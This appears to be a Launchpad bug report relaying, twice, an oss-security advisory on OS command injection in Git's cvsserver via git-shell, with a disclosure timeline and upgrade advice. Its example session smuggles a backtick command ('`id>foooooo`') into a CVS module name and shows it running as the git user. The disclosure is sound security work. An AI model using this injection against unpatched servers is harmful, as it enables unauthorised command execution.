[Bug 1719740] [NEW] [DSA 3984-1] Git cvsserver OS Command Injection

[Simon Quigley]

*** This bug is a security vulnerability ***

Public security bug reported:

>From oss-security[1]:

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
        https://git-scm.com

[ Vendor communication ]
        2017-09-08 Sent vulnerability details to the git-security list
        2017-09-09 Acknowledgement of the issue, git maintainers ask if
                   a patch could be provided
        2017-09-10 Patch is provided
        2017-09-11 Further backtick operations are patched by the git
                   maintainers, corrections on the provided patch
        2017-09-11 Revised patch is sent out
        2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
                   invocation from `git-shell`
        2017-09-22 Draft release for git 2.14.2 is created including the
                   fixes
        2017-09-26 Release of this advisory, release of fixed git versions

[ Description ]
	The `git` subcommand `cvsserver` is a Perl script which makes excessive
	use of the backtick operator to invoke `git`. Unfortunately user input
        is used within some of those invocations.


	It should be noted, that `git-cvsserver` will be invoked by `git-shell`
        by default without further configuration.

[ Example ]
	Below a example of a OS Command Injection within `git-cvsserver`
        triggered via `git-shell`:

        =====8<=====
[git at ...t ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[joernchen at ...t ~]$ ssh git at ...alhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen at ...t ~]$

[git at ...t ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git at ...t ~]$
        =====>8=====

[ Solution ]
        Upgrade to one of the following git versions:
        * 2.14.2
        * 2.13.6
        * 2.12.5
        * 2.11.4
        * 2.10.5

[ end of file ]

-------------------

No CVE has been assigned yet, but a fix has been released upstream and
as seen above, the fixes are already in Debian.

[1] http://www.openwall.com/lists/oss-security/2017/09/26/9

** Affects: git (Ubuntu)
     Importance: Undecided
         Status: New

** Affects: git (Ubuntu Artful)
     Importance: Undecided
         Status: New

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https://bugs.launchpad.net/bugs/1719740

Title:
  [DSA 3984-1] Git cvsserver OS Command Injection

Status in git package in Ubuntu:
  New
Status in git source package in Artful:
  New

Bug description:
  From oss-security[1]:

  [ Authors ]
          joernchen       <joernchen () phenoelit de>

          Phenoelit Group (http://www.phenoelit.de)

  [ Affected Products ]
          Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
          https://git-scm.com

  [ Vendor communication ]
          2017-09-08 Sent vulnerability details to the git-security list
          2017-09-09 Acknowledgement of the issue, git maintainers ask if
                     a patch could be provided
          2017-09-10 Patch is provided
          2017-09-11 Further backtick operations are patched by the git
                     maintainers, corrections on the provided patch
          2017-09-11 Revised patch is sent out
          2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
                     invocation from `git-shell`
          2017-09-22 Draft release for git 2.14.2 is created including the
                     fixes
          2017-09-26 Release of this advisory, release of fixed git versions

  [ Description ]
  	The `git` subcommand `cvsserver` is a Perl script which makes excessive
  	use of the backtick operator to invoke `git`. Unfortunately user input
          is used within some of those invocations.

  
  	It should be noted, that `git-cvsserver` will be invoked by `git-shell`
          by default without further configuration.

  [ Example ]
  	Below a example of a OS Command Injection within `git-cvsserver`
          triggered via `git-shell`:

          =====8<=====
  [git at ...t ~]$ cat .ssh/authorized_keys
  command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

  [joernchen at ...t ~]$ ssh git at ...alhost cvs server
  Root /tmp
  E /tmp/ does not seem to be a valid GIT repository
  E
  error 1 /tmp/ is not a valid repository
  Directory .
  `id>foooooo`
  add
  fatal: Not a git repository: '/tmp/'
  Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
  [joernchen at ...t ~]$

  [git at ...t ~]$ cat foooooo
  uid=619(git) gid=618(git) groups=618(git)
  [git at ...t ~]$
          =====>8=====

  [ Solution ]
          Upgrade to one of the following git versions:
          * 2.14.2
          * 2.13.6
          * 2.12.5
          * 2.11.4
          * 2.10.5

  [ end of file ]

  -------------------

  No CVE has been assigned yet, but a fix has been released upstream and
  as seen above, the fixes are already in Debian.

  [1] http://www.openwall.com/lists/oss-security/2017/09/26/9

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